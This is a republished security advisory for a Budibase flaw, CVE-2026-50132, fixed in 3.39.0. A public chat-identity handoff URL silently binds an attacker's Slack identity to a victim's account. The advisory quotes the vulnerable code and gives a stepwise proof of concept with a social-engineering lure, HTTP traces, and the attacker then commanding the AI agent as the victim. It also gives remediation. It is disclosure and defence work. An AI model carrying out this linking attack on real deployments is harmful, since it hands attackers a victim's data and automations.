【高危】Budibase has an Account Impersonation Issue — Chat Identity Link Hijacking via Missing Consent & CSRF
安全速报 · 严重级:高危 · CVSS:7.3 · CVE-2026-50132 · GHSA-v7j5-vc4m-723w
漏洞概要
Title
Chat Identity Link Hijacking — Attacker Can Silently Map Their Slack/Discord Identity to Any Authenticated Budibase User's Account
Severity
High — CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N = 7.3
Affected Product
- Product: Budibase
- Version: 3.37.2 (introduced in this version)
- Component:
packages/server/src/api/controllers/ai/chatIdentityLinks.ts - Endpoint:
GET /api/chat-links/:instance/:token/handoff
Vulnerability Type
- CWE-352: Cross-Site Request Forgery
- CWE-284: Improper Access Control
Vulnerability Description
GET /api/chat-links/:instance/:token/handoff is a public endpoint (no auth required) that performs a permanent, state-changing operation: it binds an external chat identity (Slack/Discord/MS Teams) to an authenticated Budibase user account, with no consent UI and no CSRF protection.
The session token in the URL is created by the attacker (from their own /link slash command) and embeds the attacker's externalUserId. When an authenticated Budibase victim visits the URL, their account is silently and permanently linked to the attacker's Slack/Discord identity. The server responds with "Authentication succeeded." — no indication of what was linked.
Route Registration
// packages/server/src/api/routes/chat.ts:22
router.get(
"/api/chat-links/:instance/:token/handoff",
controller.handoffChatLinkSession // registered in publicRoutes — zero auth middleware
)
Vulnerable Controller (full function)
// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110
export async function handoffChatLinkSession(
ctx: UserCtx<void, string, { instance: string; token: string }>
) {
const token = resolveToken(ctx.params.token)
const session = await sdk.ai.chatIdentityLinks.getChatIdentityLinkSession(token)
if (!session) {
throw new HTTPError("Link token is invalid or has expired", 400)
}
assertSessionMatchesInstance({ workspaceId: session.workspaceId, instance: ctx.params.instance })
if (!ctx.isAuthenticated) {
// Unauthenticated: set return URL cookie, redirect to login
// After login, same URL is visited again → attack completes silently
utils.setCookie(ctx,
`/api/chat-links/${ctx.params.instance}/${token}/handoff`,
"budibase:returnurl",
{ sign: false } // ← unsigned cookie, but not an open redirect
)
ctx.redirect("/builder/auth/login")
return
}
const currentGlobalUserId = getCurrentGlobalUserId(ctx)
const consumedSession = await sdk.ai.chatIdentityLinks.consumeChatIdentityLinkSession(token)
// ↓↓↓ THE VULNERABLE WRITE — no consent check, no CSRF token ↓↓↓
await sdk.ai.chatIdentityLinks.upsertChatIdentityLink({
provider: consumedSession.provider,
externalUserId: consumedSession.externalUserId, // ← ATTACKER's Slack ID
externalUserName: consumedSession.externalUserName,
teamId: consumedSession.teamId,
globalUserId: currentGlobalUserId, // ← VICTIM's Budibase user ID
linkedBy: currentGlobalUserId,
})
ctx.type = "text/html"
ctx.body = renderLinkSuccessPage() // ← "Authentication succeeded." — no disclosure to user
}
Proof of Concept — Annotated HTTP Trace
Setup
| Role | Identity |
|---|---|
| Attacker | Slack user U_ATTACKER (e.g. UA12345678), Budibase tenant acme, workspace ID ws_abc123 |
| Victim | Budibase admin, session cookie budibase:session=VICTIM_SESSION |
Step 1 — Attacker triggers /link in Slack
Attacker types /link to the Budibase Slack bot. Budibase server creates a Redis session:
Redis key: chatIdentityLinkSession:tok_xxxxxxxxxxxxxxxx
Redis value (exact structure from ChatIdentityLinkSession interface):
{
"token": "tok_xxxxxxxxxxxxxxxx",
"tenantId": "acme",
"workspaceId": "ws_abc123",
"provider": "slack",
"externalUserId": "UA12345678",
"externalUserName": "attacker",
"teamId": "T_ACME_SLACK",
"createdAt": "2026-05-02T10:00:00.000Z",
"expiresAt": "2026-05-02T10:10:00.000Z"
}
Slack DM sent privately to attacker:
Link your Slack account to continue chatting with this agent.
https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff
Key observation: This URL embeds the attacker's own externalUserId inside the token. The attacker has full control over which identity gets linked.
Step 2 — Attacker forwards URL to victim
Attacker posts in the company Slack:
@admin please click this to connect your Budibase account for AI agent access:
https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff
Step 3 — Victim clicks link (authenticated)
HTTP Request (victim's browser):
GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1
Host: budibase.company.com
Cookie: budibase:session=VICTIM_SESSION
HTTP Response:
HTTP/1.1 200 OK
Content-Type: text/html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Authentication succeeded</title>
</head>
<body>
<p>Authentication succeeded.</p>
<script>
if (window.opener && !window.opener.closed) {
try { window.opener.focus(); window.close() } catch (error) {}
}
</script>
</body>
</html>
The victim sees "Authentication succeeded." with no mention of Slack, no mention of attacker, no mention of what capabilities were granted.
CouchDB global-db document written immediately after (exact structure from upsertChatIdentityLink):
{
"_id": "chatidentitylink_acme_slack_T_ACME_SLACK_UA12345678",
"tenantId": "acme",
"provider": "slack",
"externalUserId": "UA12345678",
"globalUserId": "ro_global_us_VICTIM_ADMIN_ID",
"linkedAt": "2026-05-02T10:00:42.000Z",
"linkedBy": "ro_global_us_VICTIM_ADMIN_ID",
"externalUserName": "attacker",
"teamId": "T_ACME_SLACK",
"createdAt": "2026-05-02T10:00:42.000Z",
"updatedAt": "2026-05-02T10:00:42.000Z"
}
The mapping is now permanent. externalUserId = UA12345678 (attacker) → globalUserId = ro_global_us_VICTIM_ADMIN_ID (victim).
Step 4 — Attacker impersonates victim via AI agent
Attacker sends any message to the Budibase Slack bot from their own account (UA12345678).
The chat handler resolves the identity:
// packages/server/src/api/controllers/webhook/chatHandler.ts:421
const existingLink = await sdk.ai.chatIdentityLinks.getChatIdentityLink({
provider: AgentChannelProvider.SLACK,
externalUserId: "UA12345678", // ← attacker's Slack ID
teamId: "T_ACME_SLACK",
})
// existingLink.globalUserId = "ro_global_us_VICTIM_ADMIN_ID"
const linkedUser = await getGlobalUser("ro_global_us_VICTIM_ADMIN_ID")
// All agent tool calls now execute with victim admin's permissions
The attacker can now ask the agent:
"Show me all rows in the Customers table"
"Trigger the 'Send Invoice' automation for customer ID 42"
"What files are in the knowledge base?"
Each request runs with the victim admin's identity and permissions. The victim has no indication this is happening.
Step 3b — Variant: Victim Not Yet Authenticated
If the victim is not currently logged in when they click the URL:
HTTP Request:
GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1
Host: budibase.company.com
HTTP Response:
HTTP/1.1 302 Found
Location: /builder/auth/login
Set-Cookie: budibase:returnurl=%2Fapi%2Fchat-links%2Fws_abc123%2Ftok_xxxxxxxxxxxxxxxx%2Fhandoff; Path=/
After the victim logs in, the browser follows the return URL and the attack completes identically to Step 3.
Impact
| Dimension | Detail |
|---|---|
| Confidentiality | High — attacker reads all table rows, files, and knowledge base data accessible to victim |
| Integrity | High — attacker writes rows and triggers automations (email, external API calls, record creation) as victim |
| Availability | None |
| Auth required | Low — attacker only needs a Slack/Discord account in the same workspace as the Budibase bot |
| User interaction | Required — victim clicks one link (trivial social engineering in any enterprise Slack) |
| Scope | Unchanged — impact is within the victim's Budibase tenant |
| Persistence | Permanent — the link document persists in CouchDB until explicitly deleted; re-exploitation survives token rotation |
Why Severity Is High (Not Medium)
The social engineering bar is near zero in enterprise Slack:
- The link looks like a legitimate Budibase URL on the company domain
- The message pattern ("link your account for AI agent access") matches the product's own UX
- A victim who clicks and sees "Authentication succeeded." has no reason to be suspicious
- The effect is permanent and silent — the victim never learns their account was linked
Combined with admin-level access to all application data and automation triggers, this meets the bar for High.
Remediation
Minimum Fix — Add Consent Page
Convert the handoff to a two-step flow:
GET /api/chat-links/:instance/:token/handoff
→ Show consent page: "You are linking your Budibase account to
[externalUserName]'s Slack identity ([provider]).
This allows them to interact with AI agents as you. [Confirm] [Cancel]"
POST /api/chat-links/:instance/:token/handoff (with CSRF token)
→ Perform the upsertChatIdentityLink() write
Moving the write to POST removes it from publicRoutes, making Budibase's existing CSRF middleware apply automatically.
Additional Hardening
- Show the
externalUserNameand provider on the consent page - Log the event to the audit trail (both identities, timestamp, IP)
- Optionally restrict linking to users with explicit permission (not all roles)
Credits,
Vishal Kumar B
https://github.com/VishaaLlKumaaRr
References
packages/server/src/api/routes/chat.ts:22— public route registrationpackages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110— full vulnerable controllerpackages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:135–165— session creation (embeds attacker's externalUserId)packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:202–247— upsertChatIdentityLink (permanent write)packages/server/src/api/controllers/webhook/chatHandler.ts:421— identity resolution during agent message handlingpackages/server/src/ai/tools/budibase/automations.ts— automation trigger capabilitypackages/server/src/ai/tools/budibase/rows.ts— row read/write capabilitypackages/types/src/sdk/chatIdentityLinks.ts— session + link type definitions- CWE-352: Cross-Site Request Forgery
- CWE-284: Improper Access Control
受影响组件
| 生态 | 组件 | 受影响版本 | 修复版本 |
|---|---|---|---|
| npm | @budibase/server |
< 3.39.0 | 3.39.0 |
修复建议
升级 @budibase/server 至 3.39.0 或更高版本。
参考链接
- GitHub Advisory GHSA-v7j5-vc4m-723w
- https://github.com/Budibase/budibase/security/advisories/GHSA-v7j5-vc4m-723w
- https://github.com/Budibase/budibase/pull/18793
- https://github.com/Budibase/budibase/commit/cf66fb45d27402bace312d85616ddd4257f3a5aa
本文基于 GitHub Advisory Database(CC-BY-4.0 授权)整理,数据来源已注明。
评论
登录 后参与讨论。
还没有评论,来说两句。